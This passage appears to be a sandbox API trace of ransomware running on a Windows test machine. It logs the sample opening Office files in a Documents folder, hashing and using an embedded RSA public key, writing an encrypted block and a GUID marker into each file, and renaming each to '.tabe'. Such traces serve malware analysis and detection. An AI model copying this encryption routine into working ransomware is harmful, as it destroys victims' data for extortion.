HALPmcxz\\Documents\\rAGDqO_2z-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ragdqo_2z-.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.329] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=45321) returned 1 [0126.329] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.330] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb0e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.330] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.331] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xb109, lpOverlapped=0x0) returned 1 [0126.332] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.332] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.332] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.332] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.333] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.333] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.333] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.333] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.333] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.333] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.333] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.333] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.333] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.333] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.334] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.334] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.334] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.334] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.334] CloseHandle (hObject=0x618) returned 1 [0126.335] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rAGDqO_2z-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ragdqo_2z-.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rAGDqO_2z-.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ragdqo_2z-.docx.tabe")) returned 1 [0126.336] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe200d670, ftCreationTime.dwHighDateTime=0x1d56fe4, ftLastAccessTime.dwLowDateTime=0xa4985c80, ftLastAccessTime.dwHighDateTime=0x1d5635b, ftLastWriteTime.dwLowDateTime=0xa4985c80, ftLastWriteTime.dwHighDateTime=0x1d5635b, nFileSizeHigh=0x0, nFileSizeLow=0x1158b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="t_ht8Ts9s.pptx", cAlternateFileName="T_HT8T~1.PPT")) returned 1 [0126.336] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t_ht8Ts9s.pptx") returned=".pptx" [0126.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t_ht8Ts9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t_ht8ts9s.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.336] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=71051) returned 1 [0126.336] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.337] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11565, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.337] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.339] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1158b, lpOverlapped=0x0) returned 1 [0126.339] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.339] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.339] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.339] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.340] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.340] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.340] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.340] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.340] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.340] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.340] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.340] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.340] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.341] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.341] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1158b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.341] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.341] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.341] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.341] CloseHandle (hObject=0x618) returned 1 [0126.342] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t_ht8Ts9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t_ht8ts9s.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t_ht8Ts9s.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t_ht8ts9s.pptx.tabe")) returned 1 [0126.344] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56530f0, ftCreationTime.dwHighDateTime=0x1d5ad59, ftLastAccessTime.dwLowDateTime=0x1a011430, ftLastAccessTime.dwHighDateTime=0x1d5af15, ftLastWriteTime.dwLowDateTime=0x1a011430, ftLastWriteTime.dwHighDateTime=0x1d5af15, nFileSizeHigh=0x0, nFileSizeLow=0x7e01, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="vzEor_EMvUKsoW9F.xlsx", cAlternateFileName="VZEOR_~1.XLS")) returned 1 [0126.344] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vzEor_EMvUKsoW9F.xlsx") returned=".xlsx" [0126.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vzEor_EMvUKsoW9F.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vzeor_emvuksow9f.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.344] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32257) returned 1 [0126.344] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.345] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7ddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.345] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.346] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7e01, lpOverlapped=0x0) returned 1 [0126.347] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.347] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.347] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.347] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.348] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.348] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.348] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.348] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.348] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.348] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.348] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.348] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.348] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.348] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.349] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7e01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.349] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.349] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.349] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.349] CloseHandle (hObject=0x618) returned 1 [0126.350] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vzEor_EMvUKsoW9F.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vzeor_emvuksow9f.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vzEor_EMvUKsoW9F.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vzeor_emvuksow9f.xlsx.tabe")) returned 1 [0126.351] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="wbRZ", cAlternateFileName="")) returned 1 [0126.351] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ec7230, ftCreationTime.dwHighDateTime=0x1d5e365, ftLastAccessTime.dwLowDateTime=0x6e0a79b0, ftLastAccessTime.dwHighDateTime=0x1d5e69a, ftLastWriteTime.dwLowDateTime=0x6e0a79b0, ftLastWriteTime.dwHighDateTime=0x1d5e69a, nFileSizeHigh=0x0, nFileSizeLow=0x6dca, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="XXme.pps", cAlternateFileName="")) returned 1 [0126.351] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXme.pps") returned=".pps" [0126.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XXme.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xxme.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.351] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=28106) returned 1 [0126.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.352] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.352] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.353] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x6dca, lpOverlapped=0x0) returned 1 [0126.354] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.354] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.354] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.354] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.355] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.355] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, 